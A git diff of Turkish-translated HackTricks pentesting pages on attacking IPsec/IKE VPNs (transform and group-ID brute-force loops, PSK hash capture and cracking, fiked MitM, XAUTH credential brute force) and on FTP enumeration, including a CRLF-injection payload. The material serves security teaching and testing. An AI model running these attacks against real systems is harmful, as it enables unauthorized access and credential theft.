olarak Diffie-Hellman 1 veya 2 ve 28800 saniye olarak **ömür** gibi birçok özelliği içerir. -Dolayısıyla yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir. +Bu nedenle, yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir. Yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz: ``` @@ -61,30 +61,30 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` -Görüldüğü gibi önceki yanıtta **AUTH** adında bir alan ve değeri **PSK** olan bir alan var. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\ +Eski yanıtta görebileceğiniz gibi, **AUTH** adında bir alan var ve değeri **PSK**. Bu, vpn'in bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\ **Son satırın değeri de çok önemlidir:** * _0 dönüş el sıkışması; 0 dönüş bildirimi:_ Bu, hedefin **bir IPsec ağ geçidi olmadığını** gösterir. * _**1 dönüş el sıkışması; 0 dönüş bildirimi:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüş çıktıda gösterilecektir). -* _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerilen dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir teklif denemelisiniz). +* _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denemelisiniz). -Bu durumda zaten geçerli bir dönüşümümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:** +Bu durumda zaten geçerli bir dönüşümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:** Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` -Ve ardından her birini ike-tarama kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir): +Ve ardından her birini ike-scan kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` -Eğer brute-force çalışmadıysa, belki sunucu geçerli dönüşümlere bile el sıkışmalar olmadan yanıt veriyor. O zaman aynı brute-force'u dene ancak agresif modu kullanarak: +Eğer brute-force çalışmadıysa, belki sunucu el sıkışmalar olmadan bile geçerli dönüşümlere yanıt veriyor. O zaman aynı brute-force'u dene ancak agresif modu kullanarak: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Umarım **geçerli bir dönüşüm yansıtılır**.\ -Aynı saldırıyı [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak deneyebilirsiniz.\ -Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümleri kaba kuvvet uygulayabilirsiniz: +Aynı saldırıyı yapmayı deneyebilirsiniz [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak.\ +Ayrıca dönüşümleri kaba kuvvet saldırısıyla deneyebilirsiniz [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` @@ -92,11 +92,11 @@ Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümle **DH Grubu: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı ise $Enc,$Hash,$Auth,$DH şeklindedir. -Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin**, bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanmaktadır. Bu, kodları hızlıca kırmak için onları hazırlayan özel bir yöntem kullanılarak gerçekleştirilir. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, şifrelenmiş verileri gerçek zamanlı olarak okumalarına izin verir (örneğin 1,024-bit veya daha küçük bir grup kullanılıyorsa). +Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin**, bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanmaktadır. Bu, kodları hızlıca kırmak için onları hazırlayan özel bir yöntem kullanılarak gerçekleştirilir. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, veriler şifrelenmişse ve zayıf bir grup kullanılıyorsa (örneğin 1,024-bit veya daha küçük), bu verileri gerçek zamanlı olarak okumalarına olanak tanır. ### Sunucu parmak izi alma -Daha sonra, cihazın **üreticisini keşfetmek** için ike-tarama kullanabilirsiniz. Aracı, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidi üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır. +Daha sonra, cihazın **üreticisini keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidinin üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır. Gerekirse geçerli dönüşümü belirtin (using --trans) @@ -124,10 +124,10 @@ Bu ayrıca nmap betiği _**ike-version**_ ile de başarılabilir. ## Doğru Kimliği (grup adını) Bulma -Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmiyorsunuz, bu yüzden onu kaba kuvvetle bulmanız gerekecek.\ +Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmeyeceksiniz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.\ Bunu yapmak için size 2 yöntem öneririm: -### ike-scan ile Kimlik Kaba Kuvvet Atağı +### ike-scan ile Kimliği Kaba Kuvvet Yöntemi Öncelikle, hash'i toplamayı deneyerek sahte bir kimlikle bir istekte bulunun ("-P"): ```bash @@ -139,7 +139,7 @@ Eğer **hiçbir hash döndürülmezse**, o zaman muhtemelen bu kaba kuvvet sald Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz. -Bu betik **mümkün olası kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışma döndürülen kimlikleri (bu geçerli bir grup adı olacaktır) geri döndürecektir. +Bu betik **mümkün olan kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışması döndürülen kimlikleri geri döndürecektir (bu geçerli bir grup adı olacaktır). Belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bunlardan biri düzgün çalışana kadar hepsini denemelisiniz). @@ -153,18 +153,17 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ### ikeforce ile ID'nin Bruteforce Edilmesi -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz ID'leri ayırt etmek için kullanılabilecek farklı zayıflıkları sömürmeye çalışacaktır** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ederim). +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz bir ID arasındaki farkı belirlemek için** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim). -Varsayılan olarak **ikeforce**, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderecektir. +Varsayılan olarak **ikeforce**, sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için başlangıçta bazı rastgele ID'ler gönderecektir. -* **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi, grup adı doğruysa sunucu tarafından yalnızca yanıtlanır). -* Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol etmektir, çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir. +* **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi yalnızca grup adı doğru olduğunda sunucu tarafından yanıtlanır). +* Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol eder çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir. * **Üçüncü yöntem**, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır. -* Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu bruteforce etmeye çalışacak ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir. +* Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu bruteforce edecek ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.\ +Açıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** almak içindir. Ardından, **ID** ve **PSK** ile XAUTH'ı bruteforce etmeniz gerekecektir. -Açıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** elde etmektir. Ardından, **ID** ve **PSK** ile **XAUTH'ı** bruteforce etmeniz gerekecektir. - -Eğer belirli bir dönüşüm keşfetmişseniz, bunu ikeforce komutuna ekleyin. Ve eğer birden fazla dönüşüm keşfetmişseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz). +Eğer belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library @@ -179,46 +178,44 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ![](<../.gitbook/assets/image (111).png>) -## Hash'in Yakalanması ve Kırılması +## Hash yakalama ve kırma -Son olarak, Eğer bir **geçerli dönüşüm** ve **grup adı** bulduysanız ve **saldırgan mod izin veriliyorsa**, o zaman kırılabilir hash'i çok kolayca yakalayabilirsiniz: +Son olarak, Eğer bir **geçerli dönüşüm** ve **grup adı** bulduysanız ve **saldırgan mod izin veriliyorsa**, o zaman çok kolayca kırılabilir hash'i yakalayabilirsiniz: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` -Hash, _hash.txt_ dosyasının içine kaydedilecektir. +Hash değeri _hash.txt_ dosyasının içine kaydedilecektir. -Hash'i **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz: +Hash değerini **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz: ```bash psk-crack -d psk.txt ``` ## **XAuth** -**Agresif mod IKE** genellikle **grup kimlik doğrulama** amaçları için **Ön Paylaşılan Anahtar (PSK)** ile birleştirilir. Bu yöntem, **Genişletilmiş Kimlik Doğrulama (XAuth)** tarafından desteklenir ve ek bir **kullanıcı kimlik doğrulama** katmanı ekler. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetlerden yararlanır. +**Agresif mod IKE** genellikle **grup kimlik doğrulama** amaçları için **Ön Paylaşılan Anahtar (PSK)** ile birleştirilir. Bu yöntem, **Genişletilmiş Kimlik Doğrulama (XAuth)** ile desteklenir ve ek bir **kullanıcı kimlik doğrulama** katmanı ekler. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetlerden yararlanır. -**IKEv2'ye** geçişte, kullanıcıların kimlik doğrulaması amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığında dikkate değer bir değişiklik görülür. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular. +**IKEv2'ye** geçişte, kullanıcıları doğrulamak amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığı gözlemlenir. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular. ### Kimlik bilgilerini yakalamak için Yerel Ağ MitM -Böylece _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adının olup olmadığını görebilirsiniz (IKE trafiğini dinlemek için `fiked`'e yönlendirmeniz gerekmektedir, bu da ARP zehirlemesi ile yapılabilir, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır: +Böylece, _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adı olup olmadığını görebilirsiniz (IKE trafiğini `fiked`'e yönlendirmeniz ve bu amaçla ARP zehirlemesi yapmanız gerekmektedir, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` -### MitM saldırısı yapmak için IPSec'i kullanarak, tünel oluşturulamazsa trafiğin açık bir şekilde gönderilebileceği port 500'e tüm trafiği engelleyin. - -### ikeforce ile XAUTH kullanıcı adı ve şifresini kaba kuvvet saldırısıyla denemek +### ikeforce ile XAUTH kullanıcı adı ve şifrelerinin kaba kuvvet saldırısı **XAUTH**'u (geçerli bir grup adı **id** ve **psk**'yi bildiğinizde) kaba kuvvet saldırısı yapmak için bir kullanıcı adı veya kullanıcı adı listesi ve bir şifre listesi kullanabilirsiniz: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` -Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu deneyerek bağlantı kurmaya çalışacaktır. +Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu kullanarak bağlantı deneyecektir. Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlarda olduğu gibi kullanın. ## IPSEC VPN ile Kimlik Doğrulama -Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** dizini `/etc/vpnc/` içinde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz. +Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz. Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklamaktadır: ```bash @@ -238,13 +235,13 @@ Bu kurulumda: - `[VPN_GATEWAY_IP]`'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin. - `[VPN_CONNECTION_ID]`'yi VPN bağlantısının tanımlayıcısı ile değiştirin. -- `[VPN_GROUP_SECRET]`'yi VPN'nin grup şifresi ile değiştirin. +- `[VPN_GROUP_SECRET]`'ı VPN'in grup şifresi ile değiştirin. - `[VPN_USERNAME]` ve `[VPN_PASSWORD]`'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin. -- `vpnc` başlatıldığında atanacak olan işlem kimliğini `[PID]` simgeler. +- `vpnc` başlattığında atanacak olan işlem kimliğini `[PID]` sembolize eder. -VPN'i yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun. +VPN'yi yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun. -## Referans Materyal +## Referans Materyali * [PSK kırma makalesi](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) @@ -257,20 +254,20 @@ VPN'i yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin k **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index 9f10ce7eb..ba6b58de8 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -2,19 +2,19 @@
-AWS hackleme konusunu sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**. +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -32,11 +32,11 @@ PORT STATE SERVICE ``` ### Bağlantılar Aktif ve Pasif -**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'den FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port **N+1**'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi portu M'den FTP İstemcisinin port N+1'ine** başlatır. +**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'sinden FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port **N+1**'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi M portundan FTP İstemcisinin N+1 portuna** başlatır. Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Ve, bunun için uygun bir çözüm Pasif FTP'dir. -**Pasif FTP**'de, istemci kontrol bağlantısını port N'den FTP Sunucusunun port 21'ine başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi port numarasından M birini gönderir. Ve **istemci**, veri **bağlantısını** **kendi portu P'den FTP Sunucusunun port M'sine** başlatır. +**Pasif FTP**'de, istemci kontrol bağlantısını port N'sinden FTP Sunucusunun 21 portuna başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi bir port numarası M'sini gönderir. Ve **istemci**, veri **bağlantısını** **kendi P portundan FTP Sunucusunun M portuna** başlatır. Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -67,7 +67,7 @@ lftp 10.10.10.208:~> login username Password ```bash sudo nmap -sV -p21 -sC -A 10.10.10.10 ``` -FTP sunucusu hakkında bazı bilgileri elde etmek için `HELP` ve `FEAT` komutlarını kullanabilirsiniz: +Kullanabileceğiniz komutlar `HELP` ve `FEAT` FTP sunucusundan bazı bilgileri almak için: ``` HELP 214-The following commands are recognized (* =>'s unimplemented): @@ -117,7 +117,7 @@ ftp >ascii #Set transmission to ascii instead of binary >bye #exit ``` -### [Kaba kuvvet saldırısı](../../generic-methodologies-and-resources/brute-force.md#ftp) +### [Kaba kuvvet](../../generic-methodologies-and-resources/brute-force.md#ftp) İşte varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) @@ -129,11 +129,11 @@ nmap --script ftp-* -p 21 ``` ## Tarayıcı bağlantısı -Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu URL'yi kullanarak bağlanabilirsiniz: +Bir FTP sunucusuna bir tarayıcı (örneğin Firefox) kullanarak şu şekilde bir URL ile bağlanabilirsiniz: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Eğer bir **web uygulaması**, bir kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodu `%0d%0a` (çift URL kodunda bu `%250d%250a` olur) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler gerçekleştirmesini sağlayabilirsiniz**. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle iletişim kurmaya çalışmaktır (örneğin http). +Eğer bir **web uygulaması**, bir kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodu `%0d%0a` (çift URL kodunda `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler gerçekleştirmesini** sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle iletişim kurmaya çalışmaktır (örneğin http). ## FTP'den tüm dosyaları indir ```bash @@ -149,16 +149,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`USER kullanıcı_adı`** * **`PASS şifre`** * **`HELP`** Sunucu desteklediği komutları gösterir -* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_). -* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder. Bu komut **IPv6 destekler**. +* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta bağlantı kurmasını söyler (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_). +* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta TCP bağlantısı kurmasını söyler (_"2" ile belirtilir_). Bu komut **IPv6'ı destekler**. * **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir * **`LIST -R`** Yinelemeli olarak listeler (sunucu izin veriyorsa) -* **`APPE /yol/birşey.txt`** Bu, FTP'nin **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini sağlar. Dosya adı varsa, verileri ekler. +* **`APPE /yol/birşey.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya bir **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini söyler. Dosya adı varsa, verileri ekler. * **`STOR /yol/birşey.txt`** `APPE` gibi ancak dosyaları üzerine yazar * **`STOU /yol/birşey.txt`** `APPE` gibi, ancak varsa hiçbir şey yapmaz. -* **`RETR /dosya/yoluna`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı bu bağlantı aracılığıyla gönderecektir -* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini belirtir. -* **`TYPE i`** Aktarımı ikili olarak ayarlar +* **`RETR /dosya/yol`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderecektir +* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini söyler. +* **`TYPE i`** Transferi ikili olarak ayarlar * **`PASV`** Bu, pasif bir bağlantı açacak ve kullanıcıya nereye bağlanabileceğini gösterecektir * **`PUT 